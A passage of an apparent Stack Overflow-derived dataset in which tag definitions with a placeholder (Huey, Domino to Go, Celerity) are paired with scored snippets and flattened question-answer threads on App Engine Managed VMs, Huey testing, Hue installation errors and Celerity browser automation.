the standalone python app engine SDK 1.9.28 . I had the same problem with earlier versions so I updated to the latest . THINGS I HAVE TRIED : .. . .. . gcloud preview app run --help has the following to say about --custom-entrypoint : .. . .. . I am not sure what to make of this . Should the docker image not already contain an ENTRYPOINT Why am I being required to provide one in addition Also what should the entrypoint be for the gcr.io google appengine python-compat image be Google provides no documentation for this . I have tried a meaningless --custom-entrypoint echo which silences the error but the application does not response to any HTTP requests . The two other relevant stackoverflow questions I have found have not helped . The accepted answers seem to suggest that this is a bug in the SDK that was resolved . But I have tried it in two versions of the SDK including the latest and I still have the problem . How to fix The --custom entrypoint flag must be set for custom runtimes http : stackoverflow.com questions 31280849 how-to-fix-the-custom-entrypoint-flag-must-be-set-for-custom-runtimes .. . Google Managed VM error - custom entry-point http : stackoverflow.com questions 33255674 google-managed-vm-error-custom-entry-point .. . .. . STEPS TO REPRORDUCE : .. . .. . To highlight my problem I have created a trivial application that generates the error . It consists of just three files : .. . .. . app.yaml : .. . .. . Dockerfile : .. . .. . This Dockerfile is the same one that is used for the python27 runtime and in fact literally copy-pasted from the Dockerfile generated by gcloud preview app run when using the python27 runtime so this should be identical to setting runtime : python27 . wsgi.py : .. . .. . When I run dev appserver.py app.yaml in the directory containing these three files however I get the following error : .. . Answer : EDIT 1 : The solution posted by user862857 makes use of Docker itself to build images from the Dockerfile and run them in containers . This is also a good approach to running Managed VMs and Custom Runtimes in development contexts . .. . .. . The accepted answer doesn t seem correct . A github README should not trump the official docs https : cloud.google.com appengine docs managed-vms custom-runtimes for authoritativeness when dealing with a rapidly-evolving Beta product . It s perfectly possible to a runtime : custom app in the dev environment using the Dockerfile mentioned in OP s post .. . .. . using the --runtime python-compat flag . They would need to catch requests to ah start and ah health though . Attempt to run the following command given the following files and see for yourself : .. . .. . devserver command .. . .. . app.yaml .. . .. . Dockerfile .. . .. . main.py .. . .. . Send a request to domain stackoverflow.com to see this in action . .. . .. . N.B . .. . .. . If they wished to entirely decouple from the python-compat runtime and simply deploy test a python WSGI app via they could also use the --custom entrypoint flag so long as they had a command which would start running the appropriate WSGI app on a suitable port such a command would be uwsgi https : uwsgi-docs.readthedocs.org en latest or gunicorn http : gunicorn.org . Comment : Thanks Nick . A few comments to add here . The doc that covers the --runtime parameter on dev appserver.py just got updated - so when this issue was created the docs were missing the flag : Sorry about that everyone . Second - if you really want to use docker to do this appstart is another option : github.com GoogleCloudPlatform appstart https : github.com GoogleCloudPlatform appstart . It will run your app and dev appserver.py inside of a docker-container . For most apps dev appserver.py app.yaml --runtime python should work just fine though .", "Question : I m using Google App Engine Managed VMs to develop a nodeJS application using web sockets . As part of the app the front end needs to connect using Websockets e.g . The bit that I m struggling with is how to ensure that the SSL part works . My current code to start the WebSocketServer is : .. . .. . var WebSocketServer require ws .Server .. . .. . var wss new WebSocketServer port : 3001 .. . .. . but this only creates a standard server ie ws : 127.0.0.1 : 3001 . My question is using WebSocketServer how do I create a WebSocketServer for use with SSL Comment : Yeah sadly we just don t support websockets yet . If you don t want to stand up your own VM as described below pubnub is another nice option : pubnub.com documentation https : www.pubnub.com documentation Comment : I found this in search results for node einaros https but the accepted answer didn t help me . In case anyone else finds this here s a related question How to Create Secure TLS SSL Websocket Server http : stackoverflow.com q 31338927 722036 with my answer posted . Tried to eliminate the confusion so hopefully this helps someone . .. . Answer : Using secure WebSockets requires an SSL cert and using a self-signed cert is an option . There is a tutorial http : www.chovy.com web-development self-signed-certs-with-secure-websockets-in-node-js which may be useful for getting this set up . Using WebSockets on Managed VMs may present other problems though due to port forwarding issues from the appspot.com frontend . There is a public issue https : code.google.com p googleappengine issues detail id 11570 which details this as well as another question on Stack Overflow http : stackoverflow.com questions 27827752 websocket-support-in-managed-vm . You may need to use full Compute Engine instances instead of Managed VMs as a workaround . Comment : Cheers for the reply . I ve searched high and low but can t find any examples on how to run Secure Websockets on GCE but keep running into issues . I keep getting the error Bad Request 400 . Do I have to refer to the websocket by ip or can I refer to it by site domain Comment : You can refer to sockets by IP or by domain as long as you have a static IP set up for the instance and the relevant domain mapping set up . You may want to consider opening a new question for issues with WebSockets on GCE regarding the 400 .", "Question : On Google App Engine there are multiple ways a request can start : a web request a cron job a taskqueue and probably others as well . How could you especially on Managed VM determine the time when your current request began .. . .. . One solution is to instrument all of your entry points and save the start time somewhere but it would be nice if there was an environment variable or something that told when the request started . The reason this is important is because many GAE requests have deadlines either 60 seconds or 10 minutes in various scenarios and it s helpful to determine how much time you have left in a request when you are doing some additional work . .. . Answer : You can see all this information in the logs in your Developer console . You can also add more data to the logs in your code as necessary . See Writing Application Logs https : cloud.google.com appengine docs managed-vms java writing-application-logs . Comment : Apologies if my question was not clear but I wanted to know how to do this programatically i.e . if the request is currently running try to figure out how much time you have left . Comment : Take a look at shutdown hooks : cloud.google.com appengine docs java modules https : cloud.google.com appengine docs java modules", "Question : We were running on AppEngine but recently moved over to Managed VMs . For some reason AppStats is no longer available We just get a 404 not found error when browsing to our appstats URL . Is appstats not supported on Managad VMs If not is there a way of isolating poorly performing endpoints within our application Comment : Have you tried Cloud Trace https : cloud.google.com trace Since Managed VMs work in a different way as Compute Engine VMs it s probably trickier for Google to wire up Appstats Cloud Trace to apps . .. . Answer : One way to isolate poorly performing endpoints is to use the advanced-filter search in the GCP Logs Viewer . It is a little hard to find at first . To get there in your Google Cloud console navigate to Logging for your project . At the right of the text box for Filter by label or text search you will see a small dropdown arrow . Click that and select Convert to advanced-filter . This will allow you to write your own sql-ish query where you can find requests that took longer than n to complete . For example add the following to the filter : .. . .. . This will return a list of all requests that took longer than 300 milliseconds to process . If you have Cloud Trace enabled you can click on the request response time to see the timeline for the individual service calls ." ] }
[ "yes-answer-long", "yes-answer-short" ]
google-compute-engine
UNK_RELATION
dominotogo@appcelerator-titanium@47
dominotogo -- youatnotes domino to go extends @placeholder and allows the development of mobile domino apps for iphone ipad android and bb10 .
{ "confidence": [ 44.13194274902344, 44.13194274902344, 35.37523651123047, 28.806259155273438, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375, 17.6409912109375 ], "content": [ "Is there a way to setup pull-to-refresh with Domino to Go JSON data", "How would this integrate with the JSON data that is generated from Domino to Go", "The reason is that you need to synchronize the view with the Domino backend first so that it s data is in the the local SQLite database of the device .", "This would work : .. . .. . See http : www.youatnotes.com web youatnotes wiki-dtg.nsf dx NotesView Methods for more details about the update method .", "If you have for example this code : .. . .. . it will fail because vec is null .", "Why", "I have been looking at this widget specifically : https : github.com FokkeZB nl.fokkezb.pullToRefresh .", "It appears that a model collection is required for the pull-to-refresh widget above .", "No problem at all .", "Look at this Alloy based code : .. . .. . and in the controller : .. . .. . sync : .. . .. . So pretty easy actually : -", "I m able to get the view to update with the above example but how can we get the hide method to run after a successful update", "Currently the widget will stay Updating i.imgur.com 7HntKUD.png 1 http : i.imgur.com 7HntKUD.png 1 In the widget example he attaches the hide method to the collection but we do not have a collection to attach to .", "in my case it seems to work without calling a hide method.. . but if the widget has an hide method you can call it from the callback you gave the NotesView.update in my example : sync contacts .", "I have my code I am trying to use here : gist.github.com rbuening28 b98f55df59a030608314 https : gist.github.com rbuening28 b98f55df59a030608314 .", "I have my comment where my issue is .", "Where am I going wrong" ] }
{ "confidence": [ 55.644317626953125, 43.25189971923828 ], "content": [ "Question : If you have for example this code : .. . .. . it will fail because vec is null . Why .. . Answer : The reason is that you need to synchronize the view with the Domino backend first so that it s data is in the the local SQLite database of the device . This would work : .. . .. . See http : www.youatnotes.com web youatnotes wiki-dtg.nsf dx NotesView Methods for more details about the update method .", "Question : Is there a way to setup pull-to-refresh with Domino to Go JSON data I have been looking at this widget specifically : https : github.com FokkeZB nl.fokkezb.pullToRefresh . It appears that a model collection is required for the pull-to-refresh widget above . How would this integrate with the JSON data that is generated from Domino to Go .. . Answer : No problem at all . Look at this Alloy based code : .. . .. . and in the controller : .. . .. . sync : .. . .. . So pretty easy actually : - Comment : I m able to get the view to update with the above example but how can we get the hide method to run after a successful update Currently the widget will stay Updating i.imgur.com 7HntKUD.png 1 http : i.imgur.com 7HntKUD.png 1 In the widget example he attaches the hide method to the collection but we do not have a collection to attach to . Comment : in my case it seems to work without calling a hide method.. . but if the widget has an hide method you can call it from the callback you gave the NotesView.update in my example : sync contacts . Comment : I have my code I am trying to use here : gist.github.com rbuening28 b98f55df59a030608314 https : gist.github.com rbuening28 b98f55df59a030608314 . I have my comment where my issue is . Where am I going wrong" ] }
[ "yes-answer-long", "yes-answer-short" ]
appcelerator-titanium
UNK_RELATION
python-huey@python@53
python-huey -- distributed task-queue framework for @placeholder .
{ "confidence": [ 37.42144012451172, 34.0324592590332, 33.36109924316406, 32.936279296875, 31.63106346130371, 29.557567596435547, 25.20130157470703, 24.030818939208984, 22.170122146606445, 21.957324981689453, 21.06287384033203, 20.422082901000977, 19.576797485351562, 19.296100616455078, 18.613048553466797, 17.12987518310547, 17.124492645263672, 17.124492645263672, 17.124492645263672, 16.49917984008789, 16.49917984008789, 15.39445686340332, 15.39445686340332, 15.39445686340332, 15.39445686340332, 15.39445686340332, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473, 13.320961952209473 ], "content": [ "I want to test a huey https : github.com coleifer huey task and need to patch requests.get .", "The standard Django logging setup doesn t catch logging of exceptions in a Huey http : huey.readthedocs.org task .", "You need to add a huey logger to your settings.LOGGING .", "I m trying to get running the Huey task-queue for python it s a Celery alternative and I m stuck with starting the consumer with main.Configuration as it s written in the tutorial http : huey.readthedocs.org en latest getting-started.html .", "So how should I test huey tasks", "If there is somebody using Huey please help me .", "Huey have this issue written in their common pitalls http : huey.readthedocs.org en latest troubleshooting.html too but it s not really helping either .", "If I read correctly this is your problem .. . .. . Huey tasks run in a separate consumer process .. . .. . Unit tests run in their own process .. . .. . Process cannot mock or patch another .", "Either .. . .. . Make your code paths so that you do not need to mock patch consumer process.. . don t call tasks directly but make them functions which you can expose and patch .. . .. . Run huey inside your test process using threading", "I installed huey I wrote the three files config.py commands.py and main.py and I was trying to start the consumer so I believed the client should be started with the config.py .", "What s the difference between a Python module and a Python package", "OK finally found a way to test .. . .. . The important part is to define actual task function first then decorate it .", "http : stackoverflow.com questions 7948494 whats-the-difference-between-a-python-module-and-a-python-package .. . .. . See comment by giulio-piancastelli", "Make a python-module called from the conig.py", "Did you try opening a python shell and importing main as I suggested", "I think you need to add an init .py file to the folder that contains main.py .. . else you cannot import anything as python will not consider this folder as a module .", "This means that important tasks fail silently by default .", "How can I make sure the exceptions are logged", "For example :", "I know the huey consumer is looking for the configfile somewhere in the python but I cannot get it working according to the tutorial and I don t know why I should write a config file and load it as a module instead of a file .", "It would be equivalent to opening up a python shell and running : .. . .. . Perhaps you can reply with more information about your environment the layout of your files what you re running etc .", "File that runs tests : .. . .. . Launch huey consumer : huey tasks.huey -w 10 -l logs huey.log .. . Run test however patching didn t have any effect .", "If I remove the @huey.task decorator patching works and 1 gets printed .", "After all I can t remove the decorator every time has to be a better way .", "Note that huey.task is a decorator that needs arguments .", "Directly run test code without launching huey consumer .", "When I run huey consumer.py main.Configuration it returns Unable to import main .", "I had the same problem and solved it by adding the directory containing main.py to the PYTHONPATH .", "There was no need to copy huey consumer.py", "So the way this works is it tries to import the module main .", "Thanks for reply .", "I was trying to complete the tutorial http : huey.readthedocs.org en latest getting-started.html section Trying it out yourself .", "But then what I m supposed to do", "Wouldn t it be better to just start a client with a reference to configfile", "Think of main as a container that serves as an entry-point into your application .", "Main will import all your commands and your configuration .", "So that is why when you start the consumer you need to point it at main .", "This is all covered in the docs .", "If you can provide more info about the layout of your files I might be able to help .", "I was wrong .", "At this moment usr local bin huey consumer.py doesn t load modules at all even with init .py huey consumer.py must be copied to the directory you have your files : main.py config.py command.py else it won t work .", "I have notified of the issue at Github .", "I am new to bigdata technologies hadoop ecosystem .", "As part of one of my assignment I am trying to install and run Hue on my single node hadoop cluster apache distribution hadoop2.6.0 .", "I have installed hue as per the instructions provided by many websites : .. . .. . 1 .", "Downloaded latest hue tar file .. . 2 .", "Unzipped it at one location .. . 3 .", "Ran sudo make install .. . 4 .", "It installed hue in usr local hue directory .. . 5 .", "Updated hue.ini file with required details of my cluster .", "6 .", "When I am trying to access the newly installed hue through web UI using : 8888 it is showing me following error page : .. . .. . .. . Traceback most recent call last : .. . File usr local hue desktop core src desktop lib wsgiserver.py line .. . .. . .. . 1198 in communicate req.respond File usr local hue desktop core src desktop lib wsgiserver.py line 568 in respond self . respond File usr local hue desktop core src desktop lib wsgiserver.py line 580 in respond response self.wsgi app self.environ self.start response File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django core handlers wsgi.py line 206 in call response self.get response request File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django core handlers base.py line 194 in get response response self.handle uncaught exception request resolver sys.exc info File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django core handlers base.py line 236 in handle uncaught exception return callback request param dict File usr local hue desktop core src desktop views.py line 304 in serve 500 error return render 500.mako request traceback : traceback.extract tb exc info 2 File usr local hue desktop core src desktop lib django util.py line 225 in render kwargs File usr local hue desktop core src desktop lib django util.py line 146 in render-to-response return django mako.render to response template args kwargs File usr local hue desktop core src desktop lib django mako.py line 125 in render-to-response return HttpResponse render to string template name data-dictionary kwargs File usr local hue desktop core src desktop lib django mako.py line 114 in render to string normal result template.render data dict File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako template.py line 443 in render return runtime . render self self.callable args data File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako runtime.py line 786 in render kwargs for callable callable data File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako runtime.py line 818 in render context exec template inherit lclcontext args args kwargs kwargs File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako runtime.py line 844 in exec template callable context args kwargs File tmp tmpjqe8jG desktop 500.mako.py line 103 in render body M writer unicode commonfooter messages File usr local hue desktop core src desktop views.py line 388 in commonfooter hue settings Settings.get settings File usr local hue desktop core src desktop models.py line 59 in get settings settings created Settings.objects.get or create id 1 File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models manager.py line 154 in get or create return self.get queryset .get or create kwargs File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models query.py line 391 in get or create six.reraise exc info File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models query.py line 383 in get or create obj.save force insert True using self.db File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 545 in save force update force update update fields update fields File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 573 in save base updated self . save table raw cls force insert force update using update fields File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 654 in save table result self . do insert cls . base manager using fields update pk raw File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 687 in do insert using using raw raw File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models manager.py line 232 in insert return insert-query self.model objs fields kwargs File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models query.py line 1514 in insert-query return query.get compiler using using .execute sql return id File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models sql compiler.py line 903 in execute sql cursor.execute sql params File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db backends util.py line 53 in execute return self.cursor.execute sql params File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db utils.py line 99 in exit six.reraise dj exc type dj exc value traceback File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db backends util.py line 53 in execute return self.cursor.execute sql params File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db backends sqlite3 base.py line 452 in execute return Database.Cursor.execute self query params OperationalError : attempt to write a readonly database .. . .. . Not sure what does it mean please help me in resolving this issue .. . .. . Regards Bhupesh", "Got it : - .. . .. . I was facing this issue because of the hue directory ownership .", "I changed the owner of my usr local hue folder : .. . .. . and then tried accessing the URL it worked .", ": - .. . .. . Bhupesh" ] }
{ "confidence": [ 46.82101821899414, 45.58492660522461, 43.11082458496094, 41.95540237426758, 39.941810607910156, 39.271522521972656, 12.77102279663086 ], "content": [ "Question : I m trying to get running the Huey task-queue for python it s a Celery alternative and I m stuck with starting the consumer with main.Configuration as it s written in the tutorial http : huey.readthedocs.org en latest getting-started.html . I know the huey consumer is looking for the configfile somewhere in the python but I cannot get it working according to the tutorial and I don t know why I should write a config file and load it as a module instead of a file . When I run huey consumer.py main.Configuration it returns Unable to import main . Huey have this issue written in their common pitalls http : huey.readthedocs.org en latest troubleshooting.html too but it s not really helping either . If there is somebody using Huey please help me . .. . Answer : I had the same problem and solved it by adding the directory containing main.py to the PYTHONPATH . There was no need to copy huey consumer.py", "Question : I m trying to get running the Huey task-queue for python it s a Celery alternative and I m stuck with starting the consumer with main.Configuration as it s written in the tutorial http : huey.readthedocs.org en latest getting-started.html . I know the huey consumer is looking for the configfile somewhere in the python but I cannot get it working according to the tutorial and I don t know why I should write a config file and load it as a module instead of a file . When I run huey consumer.py main.Configuration it returns Unable to import main . Huey have this issue written in their common pitalls http : huey.readthedocs.org en latest troubleshooting.html too but it s not really helping either . If there is somebody using Huey please help me . .. . Answer : I think you need to add an init .py file to the folder that contains main.py .. . else you cannot import anything as python will not consider this folder as a module . What s the difference between a Python module and a Python package http : stackoverflow.com questions 7948494 whats-the-difference-between-a-python-module-and-a-python-package .. . .. . See comment by giulio-piancastelli Comment : I was wrong . At this moment usr local bin huey consumer.py doesn t load modules at all even with init .py huey consumer.py must be copied to the directory you have your files : main.py config.py command.py else it won t work . I have notified of the issue at Github .", "Question : I m trying to get running the Huey task-queue for python it s a Celery alternative and I m stuck with starting the consumer with main.Configuration as it s written in the tutorial http : huey.readthedocs.org en latest getting-started.html . I know the huey consumer is looking for the configfile somewhere in the python but I cannot get it working according to the tutorial and I don t know why I should write a config file and load it as a module instead of a file . When I run huey consumer.py main.Configuration it returns Unable to import main . Huey have this issue written in their common pitalls http : huey.readthedocs.org en latest troubleshooting.html too but it s not really helping either . If there is somebody using Huey please help me . .. . Answer : So the way this works is it tries to import the module main . It would be equivalent to opening up a python shell and running : .. . .. . Perhaps you can reply with more information about your environment the layout of your files what you re running etc . Comment : Thanks for reply . I was trying to complete the tutorial http : huey.readthedocs.org en latest getting-started.html section Trying it out yourself . I installed huey I wrote the three files config.py commands.py and main.py and I was trying to start the consumer so I believed the client should be started with the config.py . But then what I m supposed to do Make a python-module called from the conig.py Wouldn t it be better to just start a client with a reference to configfile Comment : Think of main as a container that serves as an entry-point into your application . Main will import all your commands and your configuration . So that is why when you start the consumer you need to point it at main . This is all covered in the docs . If you can provide more info about the layout of your files I might be able to help . Did you try opening a python shell and importing main as I suggested", "Question : The standard Django logging setup doesn t catch logging of exceptions in a Huey http : huey.readthedocs.org task . This means that important tasks fail silently by default . How can I make sure the exceptions are logged .. . Answer : You need to add a huey logger to your settings.LOGGING . For example :", "Question : I want to test a huey https : github.com coleifer huey task and need to patch requests.get . File that runs tests : .. . .. . Launch huey consumer : huey tasks.huey -w 10 -l logs huey.log .. . Run test however patching didn t have any effect . If I remove the @huey.task decorator patching works and 1 gets printed . So how should I test huey tasks After all I can t remove the decorator every time has to be a better way . .. . Answer : OK finally found a way to test .. . .. . The important part is to define actual task function first then decorate it . Note that huey.task is a decorator that needs arguments . Directly run test code without launching huey consumer .", "Question : I want to test a huey https : github.com coleifer huey task and need to patch requests.get . File that runs tests : .. . .. . Launch huey consumer : huey tasks.huey -w 10 -l logs huey.log .. . Run test however patching didn t have any effect . If I remove the @huey.task decorator patching works and 1 gets printed . So how should I test huey tasks After all I can t remove the decorator every time has to be a better way . .. . Answer : If I read correctly this is your problem .. . .. . Huey tasks run in a separate consumer process .. . .. . Unit tests run in their own process .. . .. . Process cannot mock or patch another . Either .. . .. . Make your code paths so that you do not need to mock patch consumer process.. . don t call tasks directly but make them functions which you can expose and patch .. . .. . Run huey inside your test process using threading", "Question : I am new to bigdata technologies hadoop ecosystem . As part of one of my assignment I am trying to install and run Hue on my single node hadoop cluster apache distribution hadoop2.6.0 . I have installed hue as per the instructions provided by many websites : .. . .. . 1 . Downloaded latest hue tar file .. . 2 . Unzipped it at one location .. . 3 . Ran sudo make install .. . 4 . It installed hue in usr local hue directory .. . 5 . Updated hue.ini file with required details of my cluster . 6 . When I am trying to access the newly installed hue through web UI using : 8888 it is showing me following error page : .. . .. . .. . Traceback most recent call last : .. . File usr local hue desktop core src desktop lib wsgiserver.py line .. . .. . .. . 1198 in communicate req.respond File usr local hue desktop core src desktop lib wsgiserver.py line 568 in respond self . respond File usr local hue desktop core src desktop lib wsgiserver.py line 580 in respond response self.wsgi app self.environ self.start response File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django core handlers wsgi.py line 206 in call response self.get response request File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django core handlers base.py line 194 in get response response self.handle uncaught exception request resolver sys.exc info File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django core handlers base.py line 236 in handle uncaught exception return callback request param dict File usr local hue desktop core src desktop views.py line 304 in serve 500 error return render 500.mako request traceback : traceback.extract tb exc info 2 File usr local hue desktop core src desktop lib django util.py line 225 in render kwargs File usr local hue desktop core src desktop lib django util.py line 146 in render-to-response return django mako.render to response template args kwargs File usr local hue desktop core src desktop lib django mako.py line 125 in render-to-response return HttpResponse render to string template name data-dictionary kwargs File usr local hue desktop core src desktop lib django mako.py line 114 in render to string normal result template.render data dict File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako template.py line 443 in render return runtime . render self self.callable args data File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako runtime.py line 786 in render kwargs for callable callable data File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako runtime.py line 818 in render context exec template inherit lclcontext args args kwargs kwargs File usr local hue build env lib python2.6 site-packages Mako-0.8.1-py2.6.egg mako runtime.py line 844 in exec template callable context args kwargs File tmp tmpjqe8jG desktop 500.mako.py line 103 in render body M writer unicode commonfooter messages File usr local hue desktop core src desktop views.py line 388 in commonfooter hue settings Settings.get settings File usr local hue desktop core src desktop models.py line 59 in get settings settings created Settings.objects.get or create id 1 File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models manager.py line 154 in get or create return self.get queryset .get or create kwargs File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models query.py line 391 in get or create six.reraise exc info File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models query.py line 383 in get or create obj.save force insert True using self.db File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 545 in save force update force update update fields update fields File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 573 in save base updated self . save table raw cls force insert force update using update fields File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 654 in save table result self . do insert cls . base manager using fields update pk raw File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models base.py line 687 in do insert using using raw raw File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models manager.py line 232 in insert return insert-query self.model objs fields kwargs File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models query.py line 1514 in insert-query return query.get compiler using using .execute sql return id File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db models sql compiler.py line 903 in execute sql cursor.execute sql params File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db backends util.py line 53 in execute return self.cursor.execute sql params File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db utils.py line 99 in exit six.reraise dj exc type dj exc value traceback File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db backends util.py line 53 in execute return self.cursor.execute sql params File usr local hue build env lib python2.6 site-packages Django-1.6.10-py2.6.egg django db backends sqlite3 base.py line 452 in execute return Database.Cursor.execute self query params OperationalError : attempt to write a readonly database .. . .. . Not sure what does it mean please help me in resolving this issue .. . .. . Regards Bhupesh .. . Answer : Got it : - .. . .. . I was facing this issue because of the hue directory ownership . I changed the owner of my usr local hue folder : .. . .. . and then tried accessing the URL it worked . : - .. . .. . Bhupesh" ] }
[ "yes-answer-long", "yes-answer-short" ]
python
UNK_RELATION
celerity@htmlunit@48
celerity -- celerity is a jruby wrapper around @placeholder a headless java browser with javascript support .
{ "confidence": [ 65.32758331298828, 49.48106384277344, 47.749202728271484, 46.259765625, 46.259765625, 44.92082214355469, 44.837425231933594, 44.73625183105469, 43.85963439941406, 42.197959899902344, 41.735626220703125, 41.735626220703125, 41.735626220703125, 41.63445281982422, 41.32475280761719, 40.25296401977539, 39.460025787353516, 39.460025787353516, 38.22295379638672, 38.22295379638672, 38.22295379638672, 38.22295379638672, 36.740291595458984, 36.740291595458984, 36.59320068359375, 36.20718002319336, 34.88221740722656, 34.88221740722656, 34.72847366333008, 34.72847366333008, 34.72847366333008, 34.72847366333008, 33.64545440673828, 33.49140167236328, 33.49140167236328, 33.49140167236328, 33.49140167236328, 32.00873947143555, 32.00873947143555, 32.00873947143555, 31.911861419677734, 31.832660675048828, 31.046497344970703, 30.595592498779297, 30.595592498779297, 30.42919921875, 29.08636474609375, 28.230117797851562, 27.35218048095703, 27.35218048095703, 25.06788444519043, 23.872350692749023, 23.872350692749023, 23.830814361572266, 23.5341854095459, 20.062440872192383, 19.599193572998047, 19.381933212280273, 19.381933212280273, 18.407041549682617, 18.40336799621582, 18.39179229736328, 17.881629943847656, 17.85576629638672, 17.66826629638672, 17.459449768066406, 17.37209129333496, 16.974483489990234, 16.644559860229492, 16.465545654296875, 16.282716751098633, 15.664579391479492, 15.664579391479492, 15.664579391479492, 15.664579391479492, 15.365645408630371, 14.800054550170898, 14.630061149597168, 14.439922332763672, 14.181917190551758, 14.175785064697266, 14.169408798217773, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.109675407409668, 14.036609649658203, 13.882983207702637, 13.882983207702637, 12.850519180297852 ], "content": [ "i m using jruby + celerity http : celerity.rubyforge.org which is a jruby wrapper around htmlunit a headless-browser which also supports javascript .", "Here is my current code : .. . .. . Here is the error : .. . .. . Celerity : : Exception : : UnknownObjectException : Unable to locate Button using : class and btn-export icon-24 download-24 assert exists at opt jruby lib ruby gems 1.8 gems celerity-0.9.1 lib celerity element.rb : 179 assert exists and enabled at opt jruby lib ruby gems 1.8 gems celerity-0.9.1 lib celerity clickable element.rb : 69 click at opt jruby lib ruby gems 1.8 gems celerity-0.9.1 lib celerity clickable element.rb : 9 root at . test.rb : 17 .. . .. . Any ideas", "Try : .. . .. . http : rubydoc.info gems celerity 0.8.9 Celerity Image save-instance method", "Check the Celerity : : Frames class .", "celerity tag added .", "Has anyone figured out a clever way around this with Celerity or other tool .", "I m trying to use celerity to submit a form .", "I m using jruby and Celerity both newest versions and I CANNOT figure out how to click this button .", "Celerity emulates browser and Selenium and Watir drive real browsers .", "I m trying to test Rails Javascript with Cucumber celerity and factorygirl .", "If you need speed use Celerity http : celerity.rubyforge.org .", "If your site is simple Celerity should work fine .", "Obviously doesn t work quite the same way in Celerity .", "I m using Celerity in JRuby to automate the download of some .csv files from certain websites .", "I noticed that celerity form objects has a : .. . .. . Object submit Submits the form .", "Fix Celerity to sent text html as accept header .", "Further review of the Celerity documentation has provided a solution to my question .", "Celerity offers a strong method but does not offer a bold method .", "Or .. . thor feature runner : celerity runner .. . This would run all features only on celerity .", "Well you do have the selenium tag but not the celerity tag .", "Should clarify that I want to run it against selenium AND celerity .", "Maybe try to set Celerity to work in somewhat less strict-mode", "We ve been using Capybara with Celerity backend to test some of the pages .", "Celerity fails with an UnexpectedPageException and the server log reports that the request was made with as accept header .", "http : celerity.rubyforge.org yard Celerity Form.html submit-instance method .. . .. . but I cant seem to access it .", "I have some Jruby Celerity scripts that I would like to run from Excel VBA and then output the script results to an Excel sheet .", "The reason the blank accept header thing matters is because we re using the Celerity backend of Capybara to test some of the pages and apparently Celerity sends a blank accept header and thus doesn t get redirected by Devise .", "I ve made a patch to the Celerity gem which you can find here : https : github.com jarib celerity pull 49 .. . .. . It will set the default accept header to text html but also adds an optional parameter to override it .", "Celerity provides the ability to use Regular Expressions to specify what you would like to find match on the particular web page .", "Here are the steps that I m taking in Celerity and the results : .. . .. . Everything seems to work fine except for the last line .", "I m using celerity to do some screen-scraping and have come across the need to identify text elements that are in bold .", "From my Googling it appears that this means I should go with Celerity Culerity or Capybara for my web-browsing gem .", "So if I use Celerity it s java browser even if all tests pass doesn t that mean my website could still be incompatible with our popular web browsers", "I know it s slower but if we do not take that into account isn t Celerity more error prone then", "Reading over Celerity web site it seams like that it is API comparable with Watir which does use real browsers .", "I want to be able to run this against any of the drivers capybara supports - specifically celerity .", "Can you try to capture the page Celerity sees after your login attempt", "I m running mongrel on 3001 port tried in both 